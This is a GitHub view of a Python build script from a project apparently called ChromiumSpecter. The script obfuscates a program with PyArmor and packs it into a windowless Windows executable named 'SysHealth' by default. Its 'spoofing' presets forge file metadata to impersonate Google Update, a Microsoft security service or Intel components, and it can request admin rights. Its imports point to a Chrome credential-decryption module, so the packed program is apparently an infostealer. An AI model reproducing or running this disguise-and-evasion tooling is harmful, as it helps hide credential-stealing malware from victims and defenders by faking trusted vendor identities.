-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbuild.py
More file actions
373 lines (323 loc) · 15 KB
/
Copy pathbuild.py
File metadata and controls
373 lines (323 loc) · 15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
# 🛡️ ChromiumSpecter — Tactical Auditor Suite
# Copyright (C) 2026 ANONIMO432HZ
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://fsf.org/licenses/>.
import os
import sys
import subprocess
import argparse
import tempfile
__version__ = "1.2.1" # Updated build suite version
def get_python_executable():
return sys.executable
def run_command(cmd_list, description="Running command"):
print(f"\n[*] {description}...")
# print(f"Executing: {' '.join(cmd_list)}") # Opcional: para depuración
try:
proc = subprocess.Popen(
cmd_list,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
encoding="utf-8",
errors="replace",
bufsize=1, # Line buffered
creationflags=subprocess.CREATE_NO_WINDOW if sys.platform == "win32" else 0
)
full_output = []
for line in proc.stdout:
print(line, end='', flush=True)
full_output.append(line)
proc.wait()
if proc.returncode == 0:
print("[+] Success.")
return True, "".join(full_output)
else:
print(f"[-] Error: Process exited with code {proc.returncode}")
return False, "".join(full_output)
except Exception as e:
print(f"[-] Exception: {e}")
return False, str(e)
def create_version_file(args):
"""Genera un archivo de version temporal para PyInstaller."""
v = args.version.replace('.', ',')
if v.count(',') < 3:
v += ",0" * (3 - v.count(','))
content = f"""
VSVersionInfo(
ffi=FixedFileInfo(
filevers=({v}),
prodvers=({v}),
mask=0x3f,
flags=0x0,
OS=0x40004,
fileType=0x1,
subtype=0x0,
date=(0, 0)
),
kids=[
StringFileInfo(
[
StringTable(
'040904B0',
[StringStruct('CompanyName', '{args.company}'),
StringStruct('FileDescription', '{args.desc}'),
StringStruct('FileVersion', '{args.version}'),
StringStruct('InternalName', '{args.name}'),
StringStruct('LegalCopyright', '{args.copyright}'),
StringStruct('OriginalFilename', '{args.name}.exe'),
StringStruct('ProductName', '{args.product}'),
StringStruct('ProductVersion', '{args.version}')])
]),
VarFileInfo([VarStruct('Translation', [1033, 1200])])
]
)
"""
fd, path = tempfile.mkstemp(suffix=".txt", text=True)
with os.fdopen(fd, 'w', encoding='utf-8') as f:
f.write(content)
return path
def get_dynamic_imports():
"""Analiza requirements.txt y main.py y devuelve lista de modulos para PyInstaller."""
translation = {
"pycryptodomex": "Cryptodome",
"pywin32": "win32crypt",
"pillow": "PIL",
"pyinstaller": "PyInstaller"
}
# Dependencias core necesarias para el Builder autónomo y módulos internos dinámicos
hidden = ["pyarmor.cli", "modules.chrome_v20_decryption.v20_decryptor"]
# 1. Parsear dependencias estándar desde main.py
import re
if os.path.exists("main.py"):
with open("main.py", "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line.startswith("import "):
hidden.extend(line.replace("import ", "").split(","))
elif line.startswith("from "):
match = re.match(r"^from\s+([a-zA-Z0-9_.]+)\s+import", line)
if match:
hidden.append(match.group(1))
# Limpiar espacios en los imports extraídos de main.py
hidden = [h.strip() for h in hidden if h.strip()]
# 2. Parsear dependencias externas desde requirements.txt
try:
if os.path.exists("requirements.txt"):
with open("requirements.txt", "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"): continue
# Extraer solo el nombre del paquete omitiendo versiones
import re
pkg = re.split(r'[>=<~]', line)[0].strip().lower()
if pkg in ["pytest", "pytest-mock", "pytest-cov"]: continue
hidden.append(translation.get(pkg, pkg))
except Exception as e:
print(f"[-] Advertencia: No se pudo parsear requirements.txt: {e}")
return list(set(hidden))
def main():
parser = argparse.ArgumentParser(
description="Suite de Ofuscación y Compilación Robusta (Build Suite)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Ejemplos de uso:
python build.py --name "MiApp" --icon "app.ico"
python build.py --no-obf --onefile
python build.py --noconsole --dist-dir "./bin"
"""
)
parser.add_argument("input", nargs="?", default="main.py",
help="Archivo .py principal a compilar (defecto: 'main.py').")
comp_group = parser.add_argument_group("Opciones de Compilación (PyInstaller)")
comp_group.add_argument("--name", default="SysHealth",
help="Nombre deseado para el archivo ejecutable (defecto: 'SysHealth').")
comp_group.add_argument("--multi-file", action="store_true",
help="Crea una carpeta con múltiples archivos en lugar de un único .exe.")
comp_group.add_argument("--show-console", action="store_true",
help="Genera un 'Console App' (muestra la ventana de comandos). Si se desactiva, genera un 'Windowed App' (invisible).")
comp_group.add_argument("--icon", default=None,
help="Ruta a un archivo .ico para el icono del programa.")
comp_group.add_argument("--dist-dir", default="dist",
help="Carpeta de destino para el ejecutable final (defecto: 'dist').")
comp_group.add_argument("--uac-admin", action="store_true",
help="Solicita privilegios de administrador al ejecutar el EXE.")
comp_group.add_argument("--clean", action="store_true",
help="Limpia los archivos temporales después de la compilación.")
comp_group.add_argument("--upx", default=None,
help="Ruta al directorio de UPX para comprimir el ejecutable.")
obf_group = parser.add_argument_group("Opciones de Ofuscación (PyArmor)")
obf_group.add_argument("--no-obf", action="store_true",
help="Desactiva la ofuscación de PyArmor y compila solo con PyInstaller vanilla.")
meta_group = parser.add_argument_group("Identidad y Spoofing (Metadatos del EXE)")
meta_group.add_argument("--preset", choices=["google", "microsoft", "intel"], default="google",
help="Aplica un perfil de metadatos predefinido para rapidez.")
meta_group.add_argument("--company", help="Nombre de la empresa (ej: Microsoft).")
meta_group.add_argument("--desc", help="Descripción del archivo.")
meta_group.add_argument("--version", default="2.6.0.0", help="Versión del archivo (ej: 1.0.0.0).")
meta_group.add_argument("--copyright", help="Copyright legal.")
meta_group.add_argument("--product", help="Nombre del producto.")
args = parser.parse_args()
# Lógica de Presets
presets = {
"google": {
"company": "Google LLC",
"desc": "Google Update Setup",
"product": "Google Update",
"copyright": "Copyright Google LLC. All rights reserved."
},
"microsoft": {
"company": "Microsoft Corporation",
"desc": "Windows Security Health Service",
"product": "Windows Operating System",
"copyright": "© Microsoft Corporation. All rights reserved."
},
"intel": {
"company": "Intel Corporation",
"desc": "Intel(R) Content Protection Framework Service",
"product": "Intel(R) Management Engine Components",
"copyright": "Copyright (c) Intel Corporation."
}
}
if args.preset in presets:
p = presets[args.preset]
if not args.company: args.company = p["company"]
if not args.desc: args.desc = p["desc"]
if not args.product: args.product = p["product"]
if not args.copyright: args.copyright = p["copyright"]
python = get_python_executable()
if not os.path.exists("main.py"):
print("[-] Error: main.py not found in current directory.")
return
if args.no_obf:
print("[*] Performing vanilla PyInstaller build (No Obfuscation)...")
# Check if PyInstaller is available
v_check, _ = run_command([python, "-m", "PyInstaller", "--version"], "Verifying PyInstaller")
if not v_check:
print("[-] Error: PyInstaller is not installed. Run: pip install pyinstaller")
return
# Definir parámetros base
onefile = not args.multi_file
windowed = not args.show_console
# Generar version file si es necesario
v_file = create_version_file(args)
pyi_cmd = [python, "-m", "PyInstaller", args.input]
if onefile: pyi_cmd.append("--onefile")
if windowed: pyi_cmd.append("--windowed")
if args.uac_admin: pyi_cmd.append("--uac-admin")
if args.clean: pyi_cmd.append("--clean")
if args.upx and os.path.exists(args.upx):
pyi_cmd.extend(["--upx-dir", args.upx])
pyi_cmd.extend(["--version-file", v_file])
# --- Universal Dependency Injection ---
# Extraemos imports del requirements.txt dinámicamente
hidden_imports = get_dynamic_imports()
for imp in hidden_imports:
pyi_cmd.extend(["--hidden-import", imp])
if args.icon and os.path.exists(args.icon): pyi_cmd.extend(["--icon", args.icon])
pyi_cmd.extend(["--name", args.name, "--distpath", args.dist_dir])
run_command(pyi_cmd, f"Compilador Universal (Destino: {args.dist_dir})")
os.unlink(v_file)
# Proceder al final para cleanup
else:
# 1. Detect PyArmor version
print("[*] Detecting PyArmor version...")
success, version_out = run_command([python, "-m", "pyarmor.cli", "--version"], "Checking PyArmor CLI")
if success:
print("[+] PyArmor 8+ detectado.")
onefile = not args.multi_file
windowed = not args.show_console
# --- Step 1: Obfuscate only (no --pack) ---
obf_dir = os.path.join(args.dist_dir, "obfuscated_src")
ok, _ = run_command(
[python, "-m", "pyarmor.cli", "gen", "--output", obf_dir, args.input],
"Ofuscando script con PyArmor 9"
)
if not ok:
print("[-] Error en la ofuscación. Abortando.")
return
# PyArmor puts the obfuscated script + runtime in obf_dir
obf_script = os.path.join(obf_dir, os.path.basename(args.input))
if not os.path.exists(obf_script):
print(f"[-] No se encontró el script ofuscado en: {obf_script}")
return
# --- Step 2: Run PyInstaller directly on the obfuscated output ---
v_file = create_version_file(args)
hidden_imports = get_dynamic_imports()
pyi_cmd = [python, "-m", "PyInstaller", obf_script]
pyi_cmd += ["--name", args.name]
pyi_cmd += ["--distpath", args.dist_dir]
# PyArmor runtime hook is in obf_dir
pyi_cmd += ["--additional-hooks-dir", obf_dir]
pyi_cmd += ["--version-file", v_file]
if onefile: pyi_cmd.append("--onefile")
if windowed: pyi_cmd.append("--windowed")
if args.uac_admin: pyi_cmd.append("--uac-admin")
if args.clean: pyi_cmd.append("--clean")
if args.upx and os.path.exists(args.upx):
pyi_cmd += ["--upx-dir", args.upx]
if args.icon and os.path.exists(args.icon):
pyi_cmd += ["--icon", args.icon]
for imp in hidden_imports:
pyi_cmd += ["--hidden-import", imp]
run_command(pyi_cmd, f"Compilando con PyInstaller (nombre: {args.name})")
os.unlink(v_file)
else:
# Try legacy pyarmor
print("[!] PyArmor 8+ CLI no encontrado. Probando modo Legacy...")
success, version_out = run_command([python, "-m", "pyarmor", "--version"], "Verificando PyArmor Legacy")
if success:
print("[+] PyArmor 7.x detectado.")
onefile = not args.multi_file
windowed = not args.show_console
pyi_opts = []
if onefile: pyi_opts.append("--onefile")
if windowed: pyi_opts.append("--windowed")
pyi_opts.append(f"--name {args.name}")
opts_str = " ".join(pyi_opts)
run_command([python, "-m", "pyarmor", "pack", "-e", opts_str, args.input], "Compilando con PyArmor Legacy")
else:
print("[-] FATAL: PyArmor not found in environment. Please run: pip install pyarmor")
print("\n[!] Proceso finalizado. Revisá la carpeta 'dist/' para ver los resultados.")
cleanup_artifacts(args)
def cleanup_artifacts(args):
"""Limpia archivos temporales y artefactos de compilación."""
print("\n[*] Limpiando artefactos de compilación...")
# 1. El archivo .spec se genera con el nombre del ejecutable
spec_file = f"{args.name}.spec"
if os.path.exists(spec_file):
try:
os.unlink(spec_file)
print(f" [+] Archivo especificación eliminado: {spec_file}")
except Exception as e:
print(f" [!] No se pudo eliminar {spec_file}: {e}")
# 2. Si se solicitó limpieza, borramos la carpeta build/ que deja PyInstaller
if args.clean and os.path.exists("build"):
import shutil
try:
shutil.rmtree("build")
print(" [+] Carpeta temporal 'build/' eliminada.")
except Exception as e:
print(f" [!] No se pudo eliminar carpeta 'build/': {e}")
# 3. Eliminar carpeta de fuentes ofuscadas (es temporal)
obf_dir = os.path.join(args.dist_dir, "obfuscated_src")
if os.path.exists(obf_dir):
import shutil
try:
shutil.rmtree(obf_dir)
print(f" [+] Carpeta temporal de ofuscación eliminada: {obf_dir}")
except Exception as e:
print(f" [!] No se pudo eliminar {obf_dir}: {e}")
if __name__ == "__main__":
main()